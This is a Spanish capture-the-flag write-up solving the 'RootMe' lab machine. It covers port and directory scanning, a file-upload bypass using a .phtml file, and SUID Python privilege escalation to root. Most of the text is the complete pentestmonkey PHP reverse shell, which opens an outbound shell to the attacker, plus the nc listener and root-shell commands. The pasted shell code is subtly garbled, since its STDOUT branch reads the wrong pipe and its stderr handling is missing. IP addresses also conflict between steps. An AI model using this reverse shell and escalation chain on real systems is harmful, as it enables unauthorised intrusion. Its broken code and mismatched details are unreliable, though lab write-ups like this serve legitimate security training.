En este writeup trabajaremos sobre la máquina RootMe, es una maquina facil y acontinuación veremos como resolverla.
IPs
Maáuina atacante => 10.8.46.8
Máquina victima => 10.10.84.238
RECONOCIMIENTO
El primer paso es ver si tenemos conexión con la máquina, así que haremos un ping a la máquina victima.
➜ ping -c 1 10.10.84.238
PING 10.10.216.249 (10.10.216.249) 56(84) bytes of data.
64 bytes from 10.10.216.249: icmp_seq=1 ttl=63 time=79.7 ms
--- 10.10.84.238 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 79.676/79.676/79.676/0.000 ms
Al decirnos que un paquete ha sido transmitido y uno recibido sabemos que tenemos conexion con la máquina. Además sabiendo que el ttl = 63 sabemos que es una máquina linux.
ESCANEO
Para escanear la máquina con el fin de ver que puertos estan abiertos usaremos la herramienta nmap.
➜ sudo nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.84.238
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Ya tenemos informacion importante, sabemos que el puerto 80 esta abierto y que este corre un servicio http. Y sabemos que el puerto 22 está abierto y que este corre un servicio ssh.
Veamos un poco mas de información de estos puertos para poder ejecutar scripts de reconocimiento. Para ello volveremos a usar nmap.
➜ sudo nmap -p22,80 -sC -sV 10.10.84.238
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4ab9160884c25448ba5cfd3f225f2214 (RSA)
| 256 a9a686e8ec96c3f003cd16d54973d082 (ECDSA)
|_ 256 22f6b5a654d9787c26035a95f3f9dfcd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HackIT - Home
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HACKEANDO
Vamos a empezar el proceso mas divertido, vulnerar la máquina para ello seguiremos una serie de pasos que a continuación están explicados.
OBSERVANDO
Vamos a ver como se ve la WEB que se está ejecutando en el puerto 80. Para ello ponemos la IP de la máquina en el buscador de google.
Al entrar solo vemos esto:

SUBDIRECTORIOS
Como no vemos nada más en la página web vamos a aplicar una búsqueda de subdirectorios con wfuzz.
➜ wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.84.238/FUZZ
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000552: 301 9 L 28 W 310 Ch "css"
000000955: 301 9 L 28 W 309 Ch "js"
000005522: 301 9 L 28 W 312 Ch "panel"
000000166: 301 9 L 28 W 314 Ch "uploads"
Podemos ver que hay un subdirectorio llamado panel, vamos a mirar que hay dentro.
Ponemos en la URL /panel, quedaria así : http://10.10.84.238/panel/.

Podemos ver que en este sitio se pueden subir archivos, vamos a intentar subir una reverse shell en PHP. Para ello crearemos un archivo llamado php-reverse-shell.phtmlque contendrá lo siguiente:
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Wi>
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely availabl>
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = 'Nuestra_IP'; // CHANGE THIS
$port = 'puerto '; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Ya estaría niestro archivo, quedaria cambiar el parametro del puerto y de la IP a los niestros, yo por ejemplo tengo que poneri de IP la 10.10.46.8 y de puerto el 443.
Vamos a ponernos por escucha en el puerto 443 desde nuetra terminal:
➜ nc -nlvp 443
Y ahora subiremos el archivo a la página web.

Vemos que se ha subido correctamente, pero si nos fijamos en nuestra terminal todavia no sale nada:
nc -nlvp 443
listening on [any] 443 ...
Eso es porque el archivo se ha subido pero no se ha ejecutado, si nos acordamos el wfuzz nos ha dado previamente un directorio /uploads.
000000166: 301 9 L 28 W 314 Ch "uploads"
Si nos movemos a la URL http://10.10.84.238/uploads veremos lo siguiente:

Vamos a hacer clic en nuestro archivo. Aparentemente no ha sucedido nada pero vamos a fijarnos en nuestra terminal:
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
14:33:41 up 1:05, 0 users, load average: 0.00, 0.00, 0.56
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
EUREKA!!! Estamos conectados a la máquina, pero todavia no hemos acabado.
Vamos a realizar un tratamiento de la tty para poder operar mas comodamente.
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm
Ahora tendriamos que ver algo así:
www-data@rootme:/$
Para encontrar la bandera de usuario vamos a ponernos en el directorio /var/www.
www-data@rootme:/$ cd /var/www
www-data@rootme:/var/www$ cat user.txt
********************
www-data@rootme:/var/www$
Despés de buscar durante bastante, me di cuenta que en historial hay un comando un tanto extraño, lo podemos ver usando el comando history.
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Vamos a probar de poner este comando.
www-data@rootme:/var/www$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# whoami
root
#
YA ESTAA!!! Si hacemos el comando whoami podremos ver que somos root. Ahora solo queda encontrar la bandera de root que en este caso está en /root.
# cat /root/root.txt
*************************
#
Y esto seria la resolución de la máquina RootMe, espero que os sirva de soporte por si os quedais estancados.
